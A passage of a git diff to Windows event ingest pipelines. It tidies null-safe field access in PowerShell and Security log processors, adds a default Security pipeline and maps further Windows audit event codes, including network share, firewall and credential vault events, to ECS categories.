field: related.user value: "{{source.user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.source?.user?.name != null + if: ctx.source?.user?.name != null - rename: field: user.domain target_field: destination.user.domain ignore_failure: true ignore_missing: true - if: ctx?.source?.user != null + if: ctx.source?.user != null - rename: field: user.name target_field: destination.user.name ignore_failure: true ignore_missing: true - if: ctx?.source?.user != null + if: ctx.source?.user != null - set: field: user.domain copy_from: source.user.domain ignore_failure: true ignore_empty_value: true - if: ctx?.source?.user != null + if: ctx.source?.user != null - set: field: user.name copy_from: source.user.name ignore_failure: true ignore_empty_value: true - if: ctx?.source?.user != null + if: ctx.source?.user != null # Get user details from the translate_sid processor enrichment # if they are available and we don't already have them. - rename: @@ -223,73 +223,73 @@ processors: target_field: powershell.id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ShellID != "" + if: ctx.winlog?.event_data?.ShellID != "" - rename: field: winlog.event_data.EngineVersion target_field: powershell.engine.version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.EngineVersion != "" + if: ctx.winlog?.event_data?.EngineVersion != "" - rename: field: winlog.event_data.PipelineID target_field: powershell.pipeline_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.PipelineID != "" + if: ctx.winlog?.event_data?.PipelineID != "" - rename: field: winlog.event_data.RunspaceID target_field: powershell.runspace_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RunspaceID != "" + if: ctx.winlog?.event_data?.RunspaceID != "" - rename: field: winlog.event_data.RunspaceId target_field: powershell.runspace_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RunspaceId != "" + if: ctx.winlog?.event_data?.RunspaceId != "" - rename: field: winlog.event_data.HostVersion target_field: powershell.process.executable_version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.HostVersion != "" + if: ctx.winlog?.event_data?.HostVersion != "" - rename: field: winlog.event_data.CommandLine target_field: powershell.command.value ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandLine != "" + if: ctx.winlog?.event_data?.CommandLine != "" - rename: field: winlog.event_data.CommandPath target_field: powershell.command.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandPath != "" + if: ctx.winlog?.event_data?.CommandPath != "" - rename: field: winlog.event_data.CommandName target_field: powershell.command.name ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandName != "" + if: ctx.winlog?.event_data?.CommandName != "" - rename: field: winlog.event_data.CommandType target_field: powershell.command.type ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandType != "" + if: ctx.winlog?.event_data?.CommandType != "" - rename: field: winlog.event_data.ScriptBlockId target_field: powershell.file.script_block_id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptBlockId != "" + if: ctx.winlog?.event_data?.ScriptBlockId != "" - rename: field: winlog.event_data.ScriptBlockText target_field: powershell.file.script_block_text ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptBlockText != "" + if: ctx.winlog?.event_data?.ScriptBlockText != "" - trim: field: powershell.file.script_block_text ignore_missing: true @@ -381,7 +381,7 @@ processors: ]; } - if (ctx?._temp == null) { + if (ctx._temp == null) { ctx._temp = new HashMap(); } @@ -389,7 +389,7 @@ processors: ctx._temp.details = new ArrayList(); } - def values = ctx?.winlog?.event_data[params["field"]]; + def values = ctx.winlog?.event_data[params["field"]]; if (values != null && values.length > 0) { for (v in values) { ctx._temp.details.add(parseRawDetail(v)); @@ -398,12 +398,12 @@ processors: - rename: field: _temp.details target_field: powershell.command.invocation_details - if: ctx?._temp?.details != null && ctx?._temp?.details.length > 0 + if: ctx._temp?.details != null && ctx._temp?.details.length > 0 - script: description: Implements Windows-like SplitCommandLine lang: painless - if: ctx?.process?.command_line != null && ctx.process.command_line != "" + if: ctx.process?.command_line != null && ctx.process.command_line != "" source: |- // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. def appendBSBytes(StringBuilder b, int n) { @@ -484,16 +484,16 @@ processors: target_field: winlog.event_data.ScriptName ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.Path != "" + if: ctx.winlog?.event_data?.Path != "" - script: description: Adds file information. lang: painless - if: ctx?.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 + if: ctx.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 source: |- def path = ctx.winlog.event_data.ScriptName; def idx = path.lastIndexOf("\\"); if (idx > -1) { - if (ctx?.file == null) { + if (ctx.file == null) { ctx.file = new HashMap(); } ctx.file.name = path.substring(idx+1); @@ -509,7 +509,12 @@ processors: target_field: file.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptName != "" + if: ctx.winlog?.event_data?.ScriptName != "" + + - convert: + field: error.code + type: string + ignore_missing: true ## Cleanup. @@ -531,14 +536,14 @@ processors: - script: description: Remove all empty values from event_data. lang: painless - source: ctx?.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); - if: ctx?.winlog?.event_data != null + source: ctx.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); + if: ctx.winlog?.event_data != null - remove: description: Remove empty event data. field: winlog.event_data ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 + if: ctx.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 on_failure: - set: diff --git a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security_default.yml b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security_default.yml new file mode 100644 index 00000000000..216de6b6b3a --- /dev/null +++ b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security_default.yml @@ -0,0 +1,85 @@ +--- +description: Pipeline for Security events +processors: + - convert: + field: event.code + type: string + ignore_missing: true + - pipeline: + name: '{{ IngestPipeline "security_standard" }}' + if: 'ctx.winlog?.provider_name != null && ["Microsoft-Windows-Eventlog", "Microsoft-Windows-Security-Auditing"].contains(ctx.winlog.provider_name)' + - gsub: + field: source.ip + pattern: '^\[?::ffff:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(?:\](?::[0-9]+)?)?$' + replacement: '$1' + ignore_missing: true + - geoip: + field: source.ip + target_field: source.geo + ignore_missing: true + - geoip: + database_file: GeoLite2-ASN.mmdb + field: source.ip + target_field: source.as + properties: + - asn + - organization_name + ignore_missing: true + - rename: + field: source.as.asn + target_field: source.as.number + ignore_missing: true + - rename: + field: source.as.organization_name + target_field: source.as.organization.name + ignore_missing: true + - append: + field: related.ip + value: '{{source.ip}}' + allow_duplicates: false + if: |- + ctx.source?.ip != null && + ctx.source.ip != "-" + - convert: + field: winlog.record_id + type: string + ignore_missing: true + - convert: + field: winlog.event_id + type: string + ignore_missing: true + - set: + field: ecs.version + value: '8.17.0' + - set: + field: log.level + copy_from: winlog.level + ignore_empty_value: true + ignore_failure: true + if: ctx.winlog?.level != "" + - date: + field: winlog.time_created + tag: "time_created_date" + formats: + - ISO8601 + if: ctx.winlog?.time_created != null + on_failure: + - remove: + field: winlog.time_created + ignore_failure: true + - append: + field: error.message + value: "fail-{{{ _ingest.on_failure_processor_tag }}}" + - fail: + message: "Processor {{ _ingest.on_failure_processor_type }} with tag {{ _ingest.on_failure_processor_tag }} in pipeline {{ _ingest.on_failure_pipeline }} failed with message: {{ _ingest.on_failure_message }}" + - convert: + field: error.code + type: string + ignore_missing: true +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: error.message + value: "{{ _ingest.on_failure_message }}" diff --git a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security.yml b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security_standard.yml similarity index 85% rename from packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security.yml rename to packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security_standard.yml index 02f9f05876d..b2a541ae53b 100644 --- a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security.yml +++ b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/security_standard.yml @@ -1,10 +1,6 @@ --- description: Pipeline for Windows Security events processors: - - convert: - field: event.code - type: string - ignore_missing: true - script: lang: painless ignore_failure: false @@ -621,6 +617,13 @@ processors: - user - change action: renamed-user-account + "4797": + category: + - iam + type: + - user + - info + action: query-existence-of-blank-password "4798": category: - iam @@ -756,6 +759,80 @@ processors: - admin - change action: directory-service-object-modified + "5140": + category: + - network + - file + type: + - info + - access + action: network-share-object-accessed + "5145": + category: + - network + - file + type: + - info + - access + action: network-share-object-access-checked + "5152": + category: + - network + type: + - connection + - info + - denied + action: windows-firewall-packet-drop + "5156": + category: + - network + type: + - connection + - info + - allowed + action: windows-firewall-connection + "5157": + category: + - network + type: + - connection + - info + - denied + action: windows-firewall-packet-block + "5158": + category: + - network + type: + - info + action: windows-firewall-bind-local-port + "5379": + category: + - iam + type: + - user + - info + action: credential-manager-credentials-were-read + "5380": + category: + - iam + type: + - user + - info + action: vault-credential-find + "5381": + category: + - iam + type: + - user + - info + action: vault-credentials-were-read + "5382": + category: + - iam + type: + - user + - info + action: vault-credentials-were-read source: |- if (ctx.event?.code == null || params.get(ctx.event.code) == null) { return; @@ -772,6 +849,8 @@ processors: ignore_failure: false tag: Set Logon Type description: Set Logon Type + # Logon Types + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events params: "2": Interactive "3": Network @@ -783,14 +862,14 @@ processors: "10": RemoteInteractive "11": CachedInteractive source: |- - if (ctx?.winlog?.event_data?.LogonType == null) { + if (ctx.winlog?.event_data?.LogonType == null) { return; } def t = params.get(ctx.winlog.event_data.LogonType); if (t == null) { return; } - if (ctx?.winlog?.logon == null ) { + if (ctx.winlog?.logon == null ) { Map map = new HashMap(); ctx.winlog.put("logon", map); } @@ -860,6 +939,9 @@ processors: ignore_failure: false tag: Set Kerberos Ticket Options description: Set Kerberos Ticket Options + # Kerberos TGT and TGS Ticket Options + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4769 params: "0x40000000": Forwardable "0x20000000": Forwarded @@ -882,7 +964,7 @@ processors: "0x00000002": Renew "0x00000001": Validate source: |- - if (ctx?.winlog?.event_data?.TicketOptions == null) { + if (ctx.winlog?.event_data?.TicketOptions == null) { return; } Long tOpts = Long.decode(ctx.winlog.event_data.TicketOptions); @@ -902,6 +984,9 @@ processors: ignore_failure: false tag: Set Kerberos Encryption Types description: Set Kerberos Encryption Types + # Kerberos Encryption Types + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 params: "0x1": DES-CBC-CRC "0x3": DES-CBC-MD5 @@ -911,7 +996,7 @@ processors: "0x18": RC4-HMAC-EXP "0xffffffff": FAIL source: |- - if (ctx?.winlog?.event_data?.TicketEncryptionType == null) { + if (ctx.winlog?.event_data?.TicketEncryptionType == null) { return; } ctx.winlog.event_data.put("TicketEncryptionTypeDescription", @@ -920,6 +1005,9 @@ processors: lang: painless ignore_failure: false tag: Set Kerberos Ticket Status Codes + # Kerberos Result Status Codes + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 description: Set Kerberos Ticket Status Codes params: "0x0": KDC_ERR_NONE @@ -981,8 +1069,8 @@ processors: "0x43": KRB_AP_ERR_NO_TGT "0x44": KDC_ERR_WRONG_REALM source: |- - if (ctx?.winlog?.event_data?.Status == null || - ctx?.event?.code == null || + if (ctx.winlog?.event_data?.Status == null || + ctx.event?.code == null || !["4768", "4769", "4770", "4771"].contains(ctx.event.code)) { return; } @@ -992,6 +1080,8 @@ processors: ignore_failure: false tag: Set Service Type and Name description: Set Service Type and Name + # Services Types + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4697 params: "0x1": Kernel Driver "0x2": File System Driver @@ -1001,15 +1091,15 @@ processors: "0x110": Interactive Own Process "0x120": Interactive Share Process source: |- - if (ctx?.winlog?.event_data?.ServiceName != null) { - if (ctx?.service == null) { + if (ctx.winlog?.event_data?.ServiceName != null) { + if (ctx.service == null) { HashMap hm = new HashMap(); ctx.put("service", hm); } ctx.service.put("name", ctx.winlog.event_data.ServiceName); } - if (ctx?.winlog.event_data?.ServiceType != null) { - if (ctx?.service == null) { + if (ctx.winlog.event_data?.ServiceType != null) { + if (ctx.service == null) { HashMap hm = new HashMap(); ctx.put("service", hm); } @@ -1080,7 +1170,7 @@ processors: "0CCE9241-69AE-11D9-BED3-505054503030": ["Other Account Logon Events","Account Logon"] "0CCE9242-69AE-11D9-BED3-505054503030": ["Kerberos Authentication Service","Account Logon"] source: |- - if (ctx?.winlog?.event_data?.SubcategoryGuid == null) { + if (ctx.winlog?.event_data?.SubcategoryGuid == null) { return; } def subCatGuid = ctx.winlog.event_data.SubcategoryGuid.replace("{","").replace("}","").toUpperCase(); @@ -1094,6 +1184,10 @@ processors: ignore_failure: false tag: Decode message table description: Decode message table + # Message table extracted from msobjs.dll on Windows 2019. + # https://gist.github.com/andrewkroh/665dca0682bd0e4daf194ab291694012 + # https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b params: descriptions: "279": "Undefined Access (no effect) Bit 7" @@ -2827,7 +2921,7 @@ processors: ctx.winlog.event_data.put("LayerNameDescription", params.descriptions[code]); } } - if (ctx?.winlog?.event_data?.AccessMask != null) { + if (ctx.winlog?.event_data?.AccessMask != null) { ArrayList list = new ArrayList(); long accessMask; for (elem in split(ctx.winlog.event_data.AccessMask)) { @@ -2873,6 +2967,9 @@ processors: ignore_failure: false tag: 4625 and 4776 Set Status and SubStatus description: 4625 and 4776 Set Status and SubStatus + # Descriptions of failure status codes. + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625 + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776 params: "0xc000005e": "There are currently no logon servers available to service the logon request." "0xc0000064": "User logon with misspelled or bad user account" @@ -2897,30 +2994,30 @@ processors: "0xc0000371": "The local account store does not contain secret material for the specified account" "0x0": "Status OK." source: |- - if (ctx?.winlog?.event_data?.Status == null || - ctx?.event?.code == null || + if (ctx.winlog?.event_data?.Status == null || + ctx.event?.code == null || !["4625", "4776"].contains(ctx.event.code)) { return; } if (params.containsKey(ctx.winlog.event_data.Status)) { - if (ctx?.winlog?.logon == null ) { + if (ctx.winlog?.logon == null ) { HashMap hm = new HashMap(); ctx.winlog.put("logon", hm); } - if (ctx?.winlog?.logon?.failure == null) { + if (ctx.winlog?.logon?.failure == null) { HashMap hm = new HashMap(); ctx.winlog.logon.put("failure", hm); } ctx.winlog.logon.failure.put("status", params[ctx.winlog.event_data.Status]); } - if (ctx?.winlog?.event_data?.SubStatus == null || !params.containsKey(ctx.winlog.event_data.SubStatus)) { + if (ctx.winlog?.event_data?.SubStatus == null || !params.containsKey(ctx.winlog.event_data.SubStatus)) { return; } - if (ctx?.winlog?.logon == null ) { + if (ctx.winlog?.logon == null ) { HashMap hm = new HashMap(); ctx.winlog.put("logon", hm); } - if (ctx?.winlog?.logon?.failure == null) { + if (ctx.winlog?.logon?.failure == null) { HashMap hm = new HashMap(); ctx.winlog.logon.put("failure", hm); } @@ -2930,13 +3027,15 @@ processors: ignore_failure: false tag: Set Trust Type description: Set Trust Type + # Trust Types + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4706 params: "1": "TRUST_TYPE_DOWNLEVEL" "2": "TRUST_TYPE_UPLEVEL" "3": "TRUST_TYPE_MIT" "4": "TRUST_TYPE_DCE" source: |- - if (ctx?.winlog?.event_data?.TdoType == null) { + if (ctx.winlog?.event_data?.TdoType == null) { return; } if (!params.containsKey(ctx.winlog.event_data.TdoType)) { @@ -2948,13 +3047,15 @@ processors: ignore_failure: false tag: Set Trust Direction description: Set Trust Direction + # Trust Direction + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4706 params: "0": "TRUST_DIRECTION_DISABLED" "1": "TRUST_DIRECTION_INBOUND" "2": "TRUST_DIRECTION_OUTBOUND" "3": "TRUST_DIRECTION_BIDIRECTIONAL" source: |- - if (ctx?.winlog?.event_data?.TdoDirection == null) { + if (ctx.winlog?.event_data?.TdoDirection == null) { return; } if (!params.containsKey(ctx.winlog.event_data.TdoDirection)) { @@ -2966,6 +3067,8 @@ processors: ignore_failure: false tag: Set Trust Attributes description: Set Trust Attributes + # Trust Attributes + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4706 params: "0": "UNDEFINED" "1": "TRUST_ATTRIBUTE_NON_TRANSITIVE" @@ -2979,7 +3082,7 @@ processors: "512": "TRUST_ATTRIBUTE_CROSS_ORGANIZATION_NO_TGT_DELEGATION" "1024": "TRUST_ATTRIBUTE_PIM_TRUST" source: |- - if (ctx?.winlog?.event_data?.TdoAttributes == null) { + if (ctx.winlog?.event_data?.TdoAttributes == null) { return; } if (!params.containsKey(ctx.winlog.event_data.TdoAttributes)) { @@ -2992,21 +3095,21 @@ processors: tag: Add Session Events description: Add Session Events source: |- - if (ctx?.event?.code == null || + if (ctx.event?.code == null || !["4778", "4779"].contains(ctx.event.code)) { return; } //AccountName to user.name and related.user - if (ctx?.winlog?.event_data?.AccountName != null) { - if (ctx?.user == null) { + if (ctx.winlog?.event_data?.AccountName != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } @@ -3017,8 +3120,8 @@ processors: } //AccountDomain to user.domain - if (ctx?.winlog?.event_data?.AccountDomain != null) { - if (ctx?.user == null) { + if (ctx.winlog?.event_data?.AccountDomain != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } @@ -3026,17 +3129,22 @@ processors: } //ClientAddress to source.ip and related.ip - if (ctx?.winlog?.event_data?.ClientAddress != null && - ctx.winlog.event_data.ClientAddress != "-") { - if (ctx?.source == null) { + if (ctx.winlog?.event_data?.ClientAddress != null && + ctx.winlog.event_data.ClientAddress != "-" && + ctx.winlog.event_data.ClientAddress != "Unknown") { + // Correct invalid IP address "LOCAL" + if (ctx.winlog.event_data.ClientAddress == "LOCAL") { + ctx.winlog.event_data.ClientAddress = "127.0.0.1"; + } + if (ctx.source == null) { HashMap hm = new HashMap(); ctx.put("source", hm); } - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.ip == null) { + if (ctx.related?.ip == null) { ArrayList al = new ArrayList(); ctx.related.put("ip", al); } @@ -3047,8 +3155,8 @@ processors: } //ClientName to source.domain - if (ctx?.winlog?.event_data?.ClientName != null) { - if (ctx?.source == null) { + if (ctx.winlog?.event_data?.ClientName != null) { + if (ctx.source == null) { HashMap hm = new HashMap(); ctx.put("source", hm); } @@ -3056,8 +3164,8 @@ processors: } //LogonID to winlog.logon.id - if (ctx?.winlog?.event_data?.LogonID != null) { - if (ctx?.winlog?.logon == null) { + if (ctx.winlog?.event_data?.LogonID != null) { + if (ctx.winlog?.logon == null) { HashMap hm = new HashMap(); ctx.winlog.put("logon", hm); } @@ -3070,49 +3178,55 @@ processors: tag: Copy Target User description: Copy Target User source: |- - if (ctx?.event?.code == null || + if (ctx.event?.code == null || !["4624", "4625", "4634", "4647", "4648", "4768", "4769", "4770", "4771", "4776", "4964"].contains(ctx.event.code)) { return; } + def targetUserId = ctx.winlog?.event_data?.TargetUserSid; + if (targetUserId == null) { + targetUserId = ctx.winlog?.event_data?.TargetSid; + } + //TargetUserSid to user.id or user.target.id - if (ctx?.winlog?.event_data?.TargetUserSid != null) { - if (ctx?.user == null) { + if (targetUserId != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } - if (ctx?.user?.id == null) { - ctx.user.put("id", ctx.winlog.event_data.TargetUserSid); + if (ctx.user?.id == null) { + ctx.user.put("id", targetUserId); } else { - if (ctx?.user?.target == null) { + if (ctx.user?.target == null) { HashMap hm = new HashMap(); ctx.user.put("target", hm); } - ctx.user.target.put("id", ctx.winlog.event_data.TargetUserSid); + ctx.user.target.put("id", targetUserId); } } + //TargetUserName to related.user and user.name or user.target.name - if (ctx?.winlog?.event_data?.TargetUserName != null) { + if (ctx.winlog?.event_data?.TargetUserName != null) { def tun = ctx.winlog.event_data.TargetUserName.splitOnToken("@"); - if (ctx?.user == null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } - if (ctx?.user?.name == null) { + if (ctx.user?.name == null) { ctx.user.put("name", tun[0]); } else { - if (ctx?.user?.target == null) { + if (ctx.user?.target == null) { HashMap hm = new HashMap(); ctx.user.put("target", hm); } ctx.user.target.put("name", tun[0]); } - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } @@ -3121,23 +3235,23 @@ processors: } } //TargetUserDomain to user.domain or user.target.domain - if (ctx?.winlog?.event_data?.TargetDomainName != null) { - if (ctx?.user == null) { + if (ctx.winlog?.event_data?.TargetDomainName != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } - if (ctx?.user?.domain == null) { + if (ctx.user?.domain == null) { ctx.user.put("domain", ctx.winlog.event_data.TargetDomainName); } else { - if (ctx?.user?.target == null){ + if (ctx.user?.target == null){ HashMap hm = new HashMap(); ctx.user.put("target", hm); } ctx.user.target.put("domain", ctx.winlog.event_data.TargetDomainName); } } -# split member name into parts based on comma ignoring escaped commas -# https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names + # split member name into parts based on comma ignoring escaped commas + # https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names - split: if: ctx.winlog?.event_data?.MemberName != null field: winlog.event_data.MemberName @@ -3150,29 +3264,29 @@ processors: tag: Copy MemberName to User and User to Group description: Copy MemberName to User and User to Group source: |- - if (ctx?.event?.code == null || + if (ctx.event?.code == null || !["4727", "4728", "4729", "4730", "4731", "4732", "4733", "4734", "4735", "4737", "4744", "4745", "4746", "4747", "4748", "4749", "4750", "4751", "4752", "4753", "4754", "4755", "4756", "4757", "4758", "4759", "4760", "4761", "4762", "4763", "4764", "4799"].contains(ctx.event.code)) { return; } - if (ctx?.winlog?.event_data?.MemberName != null) { + if (ctx._temp?.MemberNameParts != null) { def memberNameParts = ctx._temp.MemberNameParts; def memberName = memberNameParts[0].replace("CN=","").replace("cn=",""); - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } - if (ctx?.user == null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } - if (ctx?.user?.target == null){ + if (ctx.user?.target == null){ HashMap hm = new HashMap(); ctx.user.put("target", hm); } @@ -3180,47 +3294,52 @@ processors: if (!ctx.related.user.contains(memberName)) { ctx.related.user.add(memberName); } + if (memberNameParts.length >= 4) { + def domain = memberNameParts[3].replace("DC=", "").replace("dc=", ""); + ctx.user.target.put("domain", domain); + } } - if (ctx?.winlog?.event_data?.TargetUserSid != null) { - if (ctx?.group == null) { + if (ctx.winlog?.event_data?.TargetUserSid != null) { + if (ctx.group == null) { HashMap hm = new HashMap(); ctx.put("group", hm); } ctx.group.put("id", ctx.winlog.event_data.TargetUserSid); } - if (ctx?.winlog?.event_data?.TargetSid != null) { - if (ctx?.group == null) { + if (ctx.winlog?.event_data?.TargetSid != null) { + if (ctx.group == null) { HashMap hm = new HashMap(); ctx.put("group", hm); } ctx.group.put("id", ctx.winlog.event_data.TargetSid); } - if (ctx?.winlog?.event_data?.TargetUserName != null) { - if (ctx?.group == null) { + if (ctx.winlog?.event_data?.TargetUserName != null) { + if (ctx.group == null) { HashMap hm = new HashMap(); ctx.put("group", hm); } ctx.group.put("name", ctx.winlog.event_data.TargetUserName); } - if (ctx?.winlog?.event_data?.TargetDomainName != null) { - if (ctx?.group == null) { + if (ctx.winlog?.event_data?.TargetDomainName != null) { + if (ctx.group == null) { HashMap hm = new HashMap(); ctx.put("group", hm); } - ctx.group.put("domain", ctx.winlog.event_data.TargetDomainName); + def domain = ctx.winlog.event_data.TargetDomainName.replace("DC=", "").replace("dc=", ""); + ctx.group.put("domain", domain); } - if (ctx?.user?.target != null) { - if (ctx?.user?.target?.group == null) { + if (ctx.user?.target != null) { + if (ctx.user?.target?.group == null) { HashMap hm = new HashMap(); ctx.user.target.put("group", hm); } - if (ctx?.group?.id != null) { + if (ctx.group?.id != null) { ctx.user.target.group.put("id", ctx.group.id); } - if (ctx?.group?.name != null) { + if (ctx.group?.name != null) { ctx.user.target.group.put("name", ctx.group.name); } - if (ctx?.group?.domain != null) { + if (ctx.group?.domain != null) { ctx.user.target.group.put("domain", ctx.group.domain); } } @@ -3231,26 +3350,26 @@ processors: tag: Copy Target User to Computer Object description: Copy Target User to Computer Object source: |- - if (ctx?.event?.code == null || + if (ctx.event?.code == null || !["4741", "4742", "4743"].contains(ctx.event.code)) { return; } - if (ctx?.winlog?.event_data?.TargetSid != null) { - if (ctx?.winlog?.computerObject == null) { + if (ctx.winlog?.event_data?.TargetSid != null) { + if (ctx.winlog?.computerObject == null) { HashMap hm = new HashMap(); ctx.winlog.put("computerObject", hm); } ctx.winlog.computerObject.put("id", ctx.winlog.event_data.TargetSid); } - if (ctx?.winlog?.event_data?.TargetUserName != null) { - if (ctx?.winlog?.computerObject == null) { + if (ctx.winlog?.event_data?.TargetUserName != null) { + if (ctx.winlog?.computerObject == null) { HashMap hm = new HashMap(); ctx.winlog.put("computerObject", hm); } ctx.winlog.computerObject.put("name", ctx.winlog.event_data.TargetUserName); } - if (ctx?.winlog?.event_data?.TargetDomainName != null) { - if (ctx?.winlog?.computerObject == null) { + if (ctx.winlog?.event_data?.TargetDomainName != null) { + if (ctx.winlog?.computerObject == null) { HashMap hm = new HashMap(); ctx.winlog.put("computerObject", hm); } @@ -3261,7 +3380,7 @@ processors: field: winlog.logon.id copy_from: winlog.event_data.TargetLogonId ignore_failure: false - if: ctx?.event?.code != null && ["4634", "4647", "4964"].contains(ctx.event.code) + if: ctx.event?.code != null && ["4634", "4647", "4964"].contains(ctx.event.code) - script: lang: painless @@ -3269,35 +3388,35 @@ processors: tag: Copy Subject User from Event Data description: Copy Subject User from Event Data source: |- - if (ctx?.event?.code == null || - !["4657", "4670", "4672", "4673", "4674", "4688", "4689", "4697", - "4698", "4699", "4700", "4701", "4702", "4706", "4707", "4713", - "4716", "4717", "4718", "4719", "4720", "4722", "4723", "4724", - "4725", "4726", "4727", "4728", "4729", "4730", "4731", "4732", - "4733", "4734", "4735", "4737", "4738", "4739", "4740", "4741", - "4742", "4743", "4744", "4745", "4746", "4747", "4748", "4749", - "4750", "4751", "4752", "4753", "4754", "4755", "4756", "4757", - "4758", "4759", "4760", "4761", "4762", "4763", "4764", "4767", - "4781", "4798", "4799", "4817", "4904", "4905", "4907", "4912", "5136", "4662"].contains(ctx.event.code)) { + if (ctx.event?.code == null || + !["4648", "4657", "4662", "4670", "4672", "4673", "4674", "4688", "4689", "4697", + "4698", "4699", "4700", "4701", "4702", "4706", "4707", "4713", "4716", "4717", + "4718", "4719", "4720", "4722", "4723", "4724", "4725", "4726", "4727", "4728", + "4729", "4730", "4731", "4732", "4733", "4734", "4735", "4737", "4738", "4739", + "4740", "4741", "4742", "4743", "4744", "4745", "4746", "4747", "4748", "4749", + "4750", "4751", "4752", "4753", "4754", "4755", "4756", "4757", "4758", "4759", + "4760", "4761", "4762", "4763", "4764", "4767", "4781", "4797", "4798", "4799", + "4817", "4904", "4905", "4907", "4912", "5136", "5140", "5145", "5379", "5380", + "5381", "5382"].contains(ctx.event.code)) { return; } - if (ctx?.winlog?.event_data?.SubjectUserSid != null) { - if (ctx?.user == null) { + if (ctx.winlog?.event_data?.SubjectUserSid != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } ctx.user.put("id", ctx.winlog.event_data.SubjectUserSid); } - if (ctx?.winlog?.event_data?.SubjectUserName != null) { - if (ctx?.user == null) { + if (ctx.winlog?.event_data?.SubjectUserName != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } - if (ctx?.related == null) { + if (ctx.related == null) { HashMap hm = new HashMap(); ctx.put("related", hm); } - if (ctx?.related?.user == null) { + if (ctx.related?.user == null) { ArrayList al = new ArrayList(); ctx.related.put("user", al); } @@ -3306,41 +3425,121 @@ processors: ctx.related.user.add(ctx.winlog.event_data.SubjectUserName); } } - if (ctx?.winlog?.event_data?.SubjectDomainName != null) { - if (ctx?.user == null) { + if (ctx.winlog?.event_data?.SubjectDomainName != null) { + if (ctx.user == null) { HashMap hm = new HashMap(); ctx.put("user", hm); } ctx.user.put("domain", ctx.winlog.event_data.SubjectDomainName); } + - script: + lang: painless + ignore_failure: false + tag: Copy Target User to Target + description: Copy Target User to Target + source: |- + if (ctx.event?.code == null || + !["4670", "4720", "4722", "4723", "4724", "4725", + "4726", 